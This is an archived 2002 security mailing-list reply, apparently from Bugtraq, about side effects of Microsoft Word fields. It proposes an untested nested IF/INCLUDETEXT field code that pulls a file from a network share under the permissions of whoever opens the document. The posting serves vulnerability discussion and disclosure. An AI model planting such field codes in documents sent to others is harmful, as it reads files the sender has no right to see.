Re: Security side-effects of Word fields

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



In-Reply-To: <20020826212322.1137.qmail@mail.securityfocus.com>

Could you use this in say a network environtment?

change this around a bit to get files that someone else has access to, but 
you dont?

ie: { IF { INCLUDETEXT { IF { DATE } = { 
DATE } "\\servername\usershare\a.txt" "c:\\a.txt" }  \* MERGEFORMAT  } 
= "" "" \* MERGEFORMAT }


Using the permissions of Bob to get a file that Alice doesn't and 
shouldn't have access to.

I do not have a file server to test that one, so its only an idea.


"An eye for an eye only makes the whole world blind" - Ghandi

Kyle Duren

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux